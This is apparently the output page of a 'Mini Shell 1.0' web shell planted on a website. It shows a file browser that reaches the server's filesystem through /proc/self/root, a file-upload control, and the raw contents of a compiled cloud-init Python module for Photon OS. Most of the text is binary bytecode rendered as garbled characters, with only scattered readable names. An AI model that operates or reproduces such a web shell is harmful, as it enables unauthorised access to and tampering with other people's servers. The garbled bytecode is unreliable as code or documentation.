HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/cloudinit/distros/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/cloudinit/distros/__pycache__/photon.cpython-311.pyc
�

܍~c����ddlmZmZddlmZddlmZmZmZddlm	Z
ddlmZej
e��ZGd�dej��ZdS)	�)�distros�helpers)�log)�net�subp�util)�	rhel_util)�PER_INSTANCEc��eZdZdZdZdZdZdeed�iZdZd�Z	dd	�Z
d
�Zdd�Zd
�Z
d�Zd�Zdd�Zd�Zd�Zdd�Zd�ZdS)�Distroz
/etc/hostnamez/etc/systemd/network/z/etc/locale.confz/etc/systemd/resolved.conf�networkd)�resolv_conf_fn�network_conf_dirTc��tj�||||��tj|��|_d|_dg|_dS)N�photon�	systemctl)rr�__init__r�Runners�_runner�osfamily�init_cmd)�self�name�cfg�pathss    �:/usr/lib/python3/dist-packages/cloudinit/distros/photon.pyrzDistro.__init__!sE�������d�C��7�7�7���u�-�-��� ��
�$�
��
�
�
�c��t�d|��	tj||���\}}|r!t�d||��d||fSd||fS#tj$rtjtd|��YdSwxYw)NzAttempting to run: %s)�capturez(Running %s resulted in stderr output: %sTFzCommand %s failed)TNN)�LOG�debugr�warning�ProcessExecutionErrorr�logexc)r�cmdr�out�errs     r�exec_cmdzDistro.exec_cmd*s����	�	�)�3�/�/�/�
	$���3��8�8�8�J�S�#��
&����>��S�����S�#�~�%��#�s�?�"���)�	$�	$�	$��K��0�#�6�6�6�#�#�#�	$���s�;A�A�*B�Bc���d}|j�|d��}t�d||��|st	j��St�d��dS)N�disable_fallback_netcfgTz%s value is: %szJSkipping generate_fallback_config. Rely on PhotonOS default network config)�_cfg�getr r!r�generate_fallback_config�info)r�keyr*s   rr-zDistro.generate_fallback_config8sn��'��"&�)�-�-��T�":�":���	�	�#�S�*A�B�B�B�&�	2��/�1�1�1����
�	
�	
�	
��trNc�|�|s|j}d|i}tj||��gd�}|�|��dS)N�LANG)r�restartzsystemd-localed)�systemd_locale_conf_fn�rhutil�update_sysconfig_filer()r�locale�out_fn�
locale_cfgr%s     r�apply_localezDistro.apply_localeFs\���	1��0�F�
�F�
�
�	�$�V�Z�8�8�8�
:�9�9���
�
�c�����rc�4�|�d|���dS)N�install)�pkgs)�package_command)r�pkglists  r�install_packageszDistro.install_packagesXs!�����Y�W��5�5�5�5�5rc��|r,|�d��rtj||��dS|�ddt	|��g��\}}}|rt
�d||f��dSdS)N�/previous-hostname�hostnamectlzset-hostnamez3Error while setting hostname: %s
Given hostname: %s)�endswithr�
write_filer(�strr r")r�hostname�filename�ret�_outr's      r�_write_hostnamezDistro._write_hostname\s����
	��)�)�*>�?�?�
	��O�H�h�/�/�/�/�/�!�]�]����H�
�
�>���N�C��s��
����N�� �������
�
rc�H�|�|j��}|j|fS�N)�_read_hostname�systemd_hostname_conf_fn)r�sys_hostnames  r�_read_system_hostnamezDistro._read_system_hostnamels&���*�*�4�+H�I�I���-�|�<�<rc���|r;|�d��r&tj|�����S|�ddg��\}}}|r|���n|S)NrArFz-f)rCr�	load_file�stripr()rrG�default�_retr&�_errs      rrMzDistro._read_hostnamepso���	4��)�)�*>�?�?�	4��>�(�+�+�1�1�3�3�3��-�-��T�(:�;�;���c�4�!�.�s�y�y�{�{�{�w�.rc��dS)Nz	127.0.1.1��rs r�_get_localhost_ipzDistro._get_localhost_ipws���{rc�X�tj||�|�����dS)N)�tz�tz_file)r�set_etc_timezone�
_find_tz_file)rr\s  r�set_timezonezDistro.set_timezonezs,��� �B��0B�0B�2�0F�0F�G�G�G�G�G�Grc��|sg}ddg}|r+t|t��r|�|��n,|r*t|t��r|�|��|�|��tjd|��}|�|��|�|��\}}}|rt�	d|��dSdS)N�tdnfz-yz%s-%sz#Error while installing packages: %s)
�
isinstancerE�append�list�extendr�expand_package_listr(r �error)	r�command�argsr<r%r>rHrIr's	         rr=zDistro.package_command}s����	��D��t�n���	�J�t�S�)�)�	��J�J�t�����
�	�j��t�,�,�	��J�J�t�����
�
�7�����*�7�D�9�9���
�
�7�������s�+�+���T�3��	B��I�I�;�S�A�A�A�A�A�	B�	Brc�X�|j�d|jdgt���dS)Nzupdate-sources�	makecache)�freq)r�runr=r
rYs r�update_package_sourceszDistro.update_package_sources�s<�������� �
�M��		�	
�	
�	
�	
�	
r)TrL)NN)�__name__�
__module__�__qualname__rNrr3�resolve_conf_fn�renderer_configs�prefer_fqdnrr(r-r9r?rJrPrMrZr`r=rorXrrrrs������.��.��/��2�O�	�-� 0�
�
����K�&�&�&�$�$�$�$��������$6�6�6���� =�=�=�/�/�/�/����H�H�H�B�B�B�B�&
�
�
�
�
rrN)�	cloudinitrrr�loggingrrr�cloudinit.distrosr	r4�cloudinit.settingsr
�	getLoggerrpr rrXrr�<module>r{s���'�&�&�&�&�&�&�&�$�$�$�$�$�$�%�%�%�%�%�%�%�%�%�%�1�1�1�1�1�1�+�+�+�+�+�+��g���!�!��E
�E
�E
�E
�E
�W�^�E
�E
�E
�E
�E
r